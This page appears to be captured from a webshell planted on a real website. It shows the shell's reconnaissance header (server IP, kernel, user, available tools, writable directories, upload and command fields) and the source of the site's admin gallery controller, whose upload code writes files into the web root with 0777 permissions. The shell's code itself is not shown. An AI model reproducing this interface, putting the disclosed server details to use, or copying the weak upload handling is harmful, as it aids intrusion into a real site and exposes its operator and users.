403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/prathamtour.com/application/admin/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/prathamtour.com/application/admin/controllers/GalleryController.php
<?php
	
	/* * *************************************************************
		* Catabatic Technology Pvt. Ltd.
		* File Name     : HomePromotionController.php
		* File Desc.    : HomePromotion Controller  managed all Home Promotion content pages
		* Created By    : Mangal katiyar <mangal.co.in>
		* Created Date  : 19 Nov 2018
		* Updated Date  : 19 Nov 2018
	* ************************************************************* */
	
	class Admin_GalleryController extends Zend_Controller_Action {
		
		public $dbAdapter;
		public $perPageLimit;
		public $siteurl;
		public $DIR_WRITE_MODE;
		
		public function init() {
			/* Initialize db and session access */
			$aConfig = $this->getInvokeArg('bootstrap')->getOptions();
			$this->siteurl = $aConfig['bootstrap']['siteUrl'];
			$this->appmode = $aConfig['bootstrap']['appmode'];
			$this->stylecss = $aConfig['bootstrap']['stylecss'];
			$this->per_page_record = 20;
			
			$this->dbAdapter = Zend_Db_Table::getDefaultAdapter();
			
			$auth = Zend_Auth::getInstance();
			$authStorage = $auth->getStorage()->read();
			$this->username = $authStorage->username;
			$this->admin_type = $authStorage->role;
			
			$this->current_time = time();
			$this->promoimageUrl = (($this->appmode == 'MODE_BETA') ? 'beta/' : '') . 'public/upload/'.$this->stylecss.'/gallery/';
			$this->DIR_WRITE_MODE = 0777;
			
			$this->table = 'tbl_home_exploregallery';
			$this->large_image_width = $aConfig['bootstrap']['large_image_width'];
			$this->large_image_height = $aConfig['bootstrap']['large_image_height'];
			$this->medium_image_width = $aConfig['bootstrap']['medium_image_width'];
			$this->medium_image_height = $aConfig['bootstrap']['medium_image_height'];
			$this->small_image_width = $aConfig['bootstrap']['small_image_width'];
			$this->small_image_height = $aConfig['bootstrap']['small_image_height'];
		}
		
		public function indexAction() {
			
			$this->checklogin();
			// print_r($this->checklogin());die;
			$getData = array();
			/// print_r($this->getRequest()->isPost());die;
			//$resultCategory = $crud->getCmsdata('tbl_home_exploregallery', ['*'], ['IsmarkForDel' => 0], ['id'=>'DESC']);
			
			if ($this->getRequest()->isPost()) {
				$getData = $this->getRequest()->getPost();
				
				//            $searchArr = array(
				//                'Title' => $getData['Title'],
				//                'rows' => $getData['rows'],
				//                'page' => $getData['page'],
				//            );
				
				$crud = new Admin_Model_CRUD();
				$resultset = $crud->rv_select_all($this->table, ['*'], ['IsmarkForDel' => 0], ['Id' => 'DESC']);
				//            $crud->searchArrt = $searchArr;
				$resulsetold = $crud->getCount($this->table, ['IsmarkForDel' => 0], 'Id');
				
				// $resultset = $crud->rv_select_all($this->table, ['*'], ['IsmarkForDel' => 0], ['Id' => 'DESC']);
				//$resultCategory = $crud->getCmsdata('tbl_home_exploregallery', ['*'], ['IsmarkForDel' => 0], ['id'=>'DESC']);
				
				
				$resultsetArr = array();
				
				foreach ($resultset as $reskey => $resvalue) {
					//echo "<pre>";print_r($reskey);
					if ($resvalue['type'] == 1) {
						//print_r($resvalue['id']);die;
						$resultsetArr[] = [
                        'id' => $resvalue['id'],
                        'title' => $resvalue['title'],
                        'gallery' => ($resvalue['gallery']) ? $resvalue['gallery'] : '',
                        'type' => $resvalue['type'],
                        'video' => '--',
                        'IsActive' => ($resvalue['IsActive'] == 1) ? 'Active' : 'Deactive',
                        'IsFeatured' => $resvalue['IsFeatured'],
						];
						} else if ($resvalue['type'] == 2) {
						
						$tag_name = json_decode($resvalue['title']);
						
						// $tag_nameFin = $tag_name->promotion_tag1.'<br>'.$tag_name->promotion_tag2.'<br>'.$tag_name->promotion_tag3.'<br>'.$tag_name->promotion_tag4;
						$resultsetArr[] = [
                        'id' => $resvalue['id'],
                        'title' => $resvalue['title'],
                        'gallery' => ($resvalue['gallery']) ? $resvalue['gallery'] : '',
                        'type' => $resvalue['type'],
                        'video' => $resvalue['video'],
                        'IsActive' => ($resvalue['IsActive'] == 1) ? 'Active' : 'Deactive',
                        'IsFeatured' => $resvalue['IsFeatured'],
						];
					}
				}
				
				//$this->view->resultset = $resultsetArr;
				//echo "<pre>";print_r($this->view->resultset);die;
				$result = Zend_Json::encode($resultsetArr);
				$newResult = Zend_Json::decode($result, false);
				$finalResult["total"] = $resulsetold[0]['Id'];
				$finalResult["rows"] = $newResult;
				echo json_encode($finalResult);
				// $this->view->json_data = $json_data;
				exit;
			}
		}
		
		/**
			* editpage() method is used to admin can edit cms static page
			* @param password string
			* @return ture 
		*/
		public function editgalleryAction() {
			//Check admin logedin or not
			$this->checklogin();
			$crud = new Admin_Model_CRUD();
			$pId = (int) $this->getRequest()->getParam("id");
			//print_r($pId);die;
			$resultCategory = $crud->getCmsdata('tbl_home_exploregallery', ['*'], ['id'], ['id' => 'DESC']);
			//echo '<pre>'; print_r($resultCategory);die;
			$masterCat = $crud->rv_select_all('tbl_mastercategary', ['*'], [ 'IsActive' => 1,'IsmarkForDel'=>0], ['Id' => 'DESC']);
			// echo "<pre>"; print_r($masterCat); die;
			$this->view->masterCat = $masterCat;
			if ($this->getRequest()->isPost()) {
				$getData = $this->getRequest()->getPost();
				if ($getData) {
					
					//-------Start Code for Approve and Publish content---------//
					
					if (isset($getData['save']) == "Save") {
						
						if ($getData['templatetype'] == 1) {
							
							$promotion_image1 = $_FILES['promotion_image1']['name'];
							
							
							if (!empty($promotion_image1)) {
								$images = $_FILES['promotion_image1']['name'];
								$fileExt = $this->_helper->General->getFileExtension($images);
								$allowedExtensions = ['jpg', 'jpeg', 'gif', 'png', 'webp'];
								if(in_array($fileExt, $allowedExtensions, true)){
									$orignalFolderName = $_SERVER["DOCUMENT_ROOT"] . "/" . $this->promoimageUrl . $pId;
									$fileExtion = $this->_helper->General->getFileExtension($promotion_image1);
									$fileName = $pId . '_' . $this->current_time . $fileExtion;
									$fileName1 = $pId . '_' . $this->current_time;
									if (!file_exists($orignalFolderName)) {
										mkdir($orignalFolderName, $this->DIR_WRITE_MODE, true);
									}
									
									$temp_file_name = $_FILES["promotion_image1"]["tmp_name"]; // temprary file name
									
									@move_uploaded_file($temp_file_name, $orignalFolderName . "/" . $fileName);
									
									$originalLargeFolder = $orignalFolderName . '/large';
									$originalMediumFolder = $orignalFolderName . '/medium';
									$originalSmallFolder = $orignalFolderName . '/small';
									
									$sourceFile = $orignalFolderName . "/" . $fileName;
									$destinationFile = $orignalFolderName . "/" . $fileName1.'.webp';
									$quality = 80;
									if ($crud->convertToWebP($sourceFile, $destinationFile, $quality)) {
										if (!file_exists($originalLargeFolder)) {
											mkdir($originalLargeFolder, 0777, true);
										}
										if (!file_exists($originalMediumFolder)) {
											mkdir($originalMediumFolder, 0777, true);
										}
										if (!file_exists($originalSmallFolder)) {
											mkdir($originalSmallFolder, 0777, true);
										}
									
									@copy($destinationFile, $originalLargeFolder . "/" . $fileName1.'.webp'); 
									@copy($destinationFile, $originalMediumFolder . "/" . $fileName1.'.webp'); 
									@copy($destinationFile, $originalSmallFolder . "/" . $fileName1.'.webp'); 
									$fileName = $fileName1.'.webp';
									} else {
									$this->view->errorMessage ="Only allow  'jpg', 'png', 'webp' "; 
									}
									}else{
									$this->view->errorMessage ="Only allow  'jpg', 'png', 'webp' "; 
								}		
							}
							
							$editPageData = [
                            'type' => $getData['templatetype'],
                            'title' => $getData['promotion_name1'],
                            'categoryId'  => $getData['categoryM'],
							'description'  => $getData['promotion_description'],
                            'isActive' => 1,
                            'IsmarkForDel' => 0,
							];
							if ($fileName != '') {
								$editPageData['gallery'] = $fileName;
							}
							//echo "<pre>"; print_r($editPageData); die;
							} if ($getData['templatetype'] == 2) {
							$editPageData = [
                            'type' => $getData['templatetype'],
                            'title' => $getData['promotion_name2'],
                            'video' => $getData['video_url'],
                            'categoryId'  => $getData['categoryM'],
							'description'  => $getData['promotion_description'],
                            'isActive' => 1,
                            'IsmarkForDel' => 0,
							];
							}
							
							
							
							$crud->rv_update($this->table, $editPageData, ['id =?' => $pId]);
							$this->view->successMessage = "Page content has been saved successfully.";
							$this->_helper->flashMessenger->addMessage("Page content has been added successfully.");
							$this->_redirect("/admin/gallery/index");
						}
						
					}
				}
				
				$result = $crud->getCmsdata($this->table, ['*'], ['id' => $pId], ['id' => 'DESC']);
				
				if ($result->type == 2) {
					// echo "<pre>";print_r($result);die;   
					
					$title = json_decode($result->title);
					//echo "<pre>";print_r($title);die;
					$video = json_decode($result->video);
					$tab_type = json_decode($result->type);
					$editdata["id"] = @$result->id;
					$editdata["promotion_description"] = @$result->description;
					// print_r($title);die;
					$editdata["type"] = @$result->type;
					foreach ($title as $prkey => $prvalue) {
						$editdata[$prkey] = $prvalue;
					}
					foreach ($video as $urkey => $urvalue) {
						$editdata[$urkey] = $urvalue;
					}
					
					foreach ($tab_type as $trkey => $trvalue) {
						$editdata[$trkey] = $trvalue;
					}
					//        echo "<pre>";print_r($editdata);die;  
					// $editdata["gallery"] = @$result->gallery;
					
				$editdata["IsActive"] = @$result->IsActive;
				} else {
				$editdata["id"] = @$result->id;
				$editdata["type"] = @$result->type;
				$editdata["title"] = @$result->title;
				$editdata["promotion_description"] = @$result->description;
				$editdata["gallery"] = @$result->gallery;
				$editdata["video"] = @$result->video;
				// $editdata["tab_type"] = @$result->tab_type;
				$editdata["IsActive"] = @$result->IsActive;
			}
			
			//echo "<pre>";print_r($editdata);die;
			$this->view->id = @$result->id;
			$this->view->title = @$result->title;
			$this->view->gallery = @$result->gallery;
			$this->view->video = @$result->video;
			$this->view->editdata = $editdata;
			$this->view->type = $result->type;
			//echo "<pre>";print_r($this->view->type);die;
			$this->view->resultCategory = $resultCategory;
			
		}
		
		public function addgalleryAction() {
			//echo 1;die;
			//Check admin logedin or not
			$this->checklogin();
			
			$crud = new Admin_Model_CRUD();
			$pId = (int) $this->getRequest()->getParam("id");
			// print_r($pId);die;
			$resultCategory = $crud->getCmsdata('tbl_home_exploregallery', ['*'], ['id'], ['id' => 'DESC']);
			//echo "<pre>"; print_r($resultCategory);die;  
			
			// $masterCat = $crud->getCmsdata('tbl_mastercategary', ['*'], ['Id'], ['Id' => 'DESC']);
			$masterCat = $crud->rv_select_all('tbl_mastercategary', ['*'], [ 'IsActive' => 1,'IsmarkForDel'=>0], ['Id' => 'DESC']);
			// echo "<pre>"; print_r($masterCat); die;
			$this->view->masterCat = $masterCat;
			// echo "<pre>"; print_r($this->view->resultCategory); die; 
			if ($this->getRequest()->isPost()) {
				$getData = $this->getRequest()->getPost();
				//echo "<pre>"; print_r($getData);die;    
				if ($getData) {
					
					$lastRow = $crud->getCmsdata($this->table, ['id'], ['id'], ['id'=>'DESC']);
					$page_id = $lastRow['id'] +1;
					
					//-------Start Code for Approve and Publish content---------//
					
					if (isset($getData['save']) == "Save") {
						$lastRow = $crud->getCmsdata($this->table, ['Id'], ['Id'], ['Id' => 'DESC']);
						//echo "<pre>"; print_r($lastRow);die;
						$lastInsertId = $lastRow['Id'] + 1;
						
						if ($getData['templatetype'] == 1) {
							
							$promotion_image1 = $_FILES['promotion_image1']['name'];
							
							$fileName = '';
							if (!empty($promotion_image1)) {
								$images = $_FILES['promotion_image1']['name'];
								$fileExt = $this->_helper->General->getFileExtension($images);
								$allowedExtensions = ['jpg', 'jpeg', 'gif', 'png', 'webp'];
								if(in_array($fileExt, $allowedExtensions, true)){
									$orignalFolderName = $_SERVER["DOCUMENT_ROOT"] . "/" . $this->promoimageUrl . $lastInsertId;
									$fileExtion = $this->_helper->General->getFileExtension($promotion_image1);
									$fileName = $page_id . '_' . $this->current_time . $fileExtion;
									$fileName1 = $page_id . '_' . $this->current_time;
									if (!file_exists($orignalFolderName)) {
										mkdir($orignalFolderName, $this->DIR_WRITE_MODE, true);
									}
									
									$temp_file_name = $_FILES["promotion_image1"]["tmp_name"]; // temprary file name
									
									@move_uploaded_file($temp_file_name, $orignalFolderName . "/" . $fileName);
									
									$originalLargeFolder = $orignalFolderName . '/large';
									$originalMediumFolder = $orignalFolderName . '/medium';
									$originalSmallFolder = $orignalFolderName . '/small';
									
									$sourceFile = $orignalFolderName . "/" . $fileName;
									$destinationFile = $orignalFolderName . "/" . $fileName1.'.webp';
									$quality = 80;
									if ($crud->convertToWebP($sourceFile, $destinationFile, $quality)) {
										if (!file_exists($originalLargeFolder)) {
											mkdir($originalLargeFolder, 0777, true);
										}
										if (!file_exists($originalMediumFolder)) {
											mkdir($originalMediumFolder, 0777, true);
										}
										if (!file_exists($originalSmallFolder)) {
											mkdir($originalSmallFolder, 0777, true);
										}
										
										@copy($destinationFile, $originalLargeFolder . "/" . $fileName1.'.webp'); 
										@copy($destinationFile, $originalMediumFolder . "/" . $fileName1.'.webp'); 
										@copy($destinationFile, $originalSmallFolder . "/" . $fileName1.'.webp'); 
										$fileName = $fileName1.'.webp';
										} else {
										$this->view->errorMessage ="Only allow  'jpg', 'png', 'webp' "; 
									}
									}else{
									$this->view->errorMessage ="Only allow  'jpg', 'png', 'webp' "; 
								}	
							}
							
							$savePageData = [
                            'type' => $getData['templatetype'],
                            'title' => $getData['promotion_name1'],
                            'gallery' => $fileName,
                            'categoryId'  => $getData['categoryM'],
                            'description'  => $getData['promotion_description'],
                            
                            'IsActive' => 1,
                            'IsmarkForDel' => 0,
							];
							} else if ($getData['templatetype'] == 2) {
							$savePageData = [
                            'type' => $getData['templatetype'],
                            'title' => $getData['promotion_name2'],
                            'video' => $getData['video_url'],
							'description'  => $getData['promotion_description'],
                            'IsActive' => 1,
                            'IsmarkForDel' => 0,
							];
						}
						//                                    echo "<pre>";print_r($savePageData);die;
						
						
						
						
						$crud->rv_insert($this->table, $savePageData);
						//echo "<pre>"; print_r($crud->rv_insert($this->table, $savePageData));die;
						$this->view->successMessage = "Page content has been saved successfully.";
						$this->_helper->flashMessenger->addMessage("Page content has been added successfully.");
						$this->_redirect("/admin/gallery/index");
						
						
					} 
					
				}
			}
			
            
			$this->view->messages = $this->_helper->flashMessenger->getMessages();
			$this->view->resultCategory = $resultCategory;
			}
			
			
			
			public function deletegalleryAction() {
			$this->checklogin();
			$crud = new Admin_Model_CRUD();
			$tId = (int) $this->getRequest()->getParam("id");
			//echo $tId;die;
			if ($tId) {
				$checkdata = $crud->rv_select_row($this->table, ['id'], ['id' => $tId], ['id' => 'asc']);
				if (count($checkdata) > 0) {
					$crud->rv_update($this->table, ['IsMarkForDel' => 1], ['id =?' => $tId]);
					$this->_helper->flashMessenger->addMessage("Delete successfully.");
					$this->_redirect("/admin/gallery/index");
					} else {
					die('Oops some thing wrong!!.');
				}
			}
		}
		
		public function activeAction() {
			$this->checklogin();
			$crud = new Admin_Model_CRUD();
			$tId = (int) $this->getRequest()->getParam("id");
			$val = (int) $this->getRequest()->getParam("val");
			$type = (int) $this->getRequest()->getParam("type");
			if ($tId) {
				try {
					$updatedata = [
                    'IsFeatured' => $val
					];
					
					$result = $crud->rv_update($this->table, $updatedata, ['id =?' => $tId]);
					if ($type == 1) {
						$resultset = $crud->rv_select_all($this->table, ['*'], ['type' => $type, 'IsFeatured' => 1, 'IsMarkForDel' => 0], ['id' => 'ASC']);
						if (count($resultset) > 10) {
							$result_message = ['status' => false, 'message' => 'Limit Exceed!!'];
							echo Zend_Json::encode($result_message);
							$updatedata = [
                            'IsFeatured' => 0
							];
							$result = $crud->rv_update($this->table, $updatedata, ['id =?' => $tId]);
							exit;
						}
						} elseif ($type == 2) {
						$resultset = $crud->rv_select_all($this->table, ['*'], ['type' => $type, 'IsFeatured' => 1, 'IsMarkForDel' => 0], ['id' => 'ASC']);
						if (count($resultset) > 1) {
							$result_message = ['status' => false, 'message' => 'Limit Exceed!!'];
							echo Zend_Json::encode($result_message);
							$updatedata = [
                            'IsFeatured' => 0
							];
							$result = $crud->rv_update($this->table, $updatedata, ['id =?' => $tId]);
							exit;
						}
					}
					
					if (!$result) {
						$result_message = ['status' => false, 'message' => 'Oops something wrong!!'];
						echo Zend_Json::encode($result_message);
						exit;
						} else {
						$result_message = ['status' => true, 'message' => 'Active successfully'];
						echo Zend_Json::encode($result_message);
						exit;
					}
					} catch (Exception $ex) {
					$ex->getMessage();
				}
			}
		}
		
		/*   public function sanitize_data($string) {
			$searchArr=array("iframe","script","document","write","alert","%","@","$",";","+","|","#","<",">",")","(","'","\'",",","and "," &","& ","and"," and","0","1","2","3","4","5","6","7","8","9");
			$input_data = strtolower($string);
			$input_data = str_replace($searchArr,"",$input_data);
			
			$input_data= str_replace(" ","-",$input_data);
			//echo $input_data; die;
			return $input_data;
			}
			
		*/
		public function checklogin() {
			if (($this->admin_type == "superadmin") || ($this->admin_type == "admin")) {
				$auth = Zend_Auth::getInstance();
				$hasIdentity = $auth->hasIdentity();
				/*             * ************* check admin identity *********** */
				if (!$hasIdentity) {
					$this->_redirect('admin/index/index');
				}
				} else {
				$this->_redirect('admin/index/index');
			}
		}
		
	}

Youez - 2016 - github.com/yon3zu
LinuXploit